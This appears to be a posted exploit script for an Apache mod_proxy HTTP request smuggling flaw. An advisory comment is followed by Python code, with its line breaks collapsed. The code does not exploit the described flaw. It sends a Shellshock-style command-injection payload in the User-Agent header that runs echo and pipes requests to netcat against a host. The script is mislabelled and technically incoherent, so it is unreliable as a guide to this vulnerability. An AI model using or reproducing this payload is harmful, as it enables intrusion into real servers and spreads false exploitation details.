Apache 2.4.55 mod_proxy HTTP Request Smuggling

# Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through# 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected# when mod_proxy is enabled along with some form of RewriteRule or# ProxyPassMatch in which a non-specific pattern matches some portion of the# user-supplied request-target (URL) data and is then re-inserted into the# proxied request-target using variable substitution. For example, something# like: RewriteEngine on RewriteRule "^/here/(.*)" "# http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/# http://example.com:8080/ Request splitting/smuggling could result in bypass# of access controls in the proxy server, proxying unintended URLs to# existing origin servers, and cache poisoning. Users are recommended to# update to at least version 2.4.56 of Apache HTTP Server.import requestsdef send_exploit(proxy_url):    exploit_headers = {        'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /nonexistent HTTP/1.1\r\nHost: www.example.com\r\n\r\n" | nc example.com 80',        'Connection': 'close'    }    exploit_url = 'http://example.com/here/../here'    response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})    print(response.text)# Usagesend_exploit('http://localhost:8080')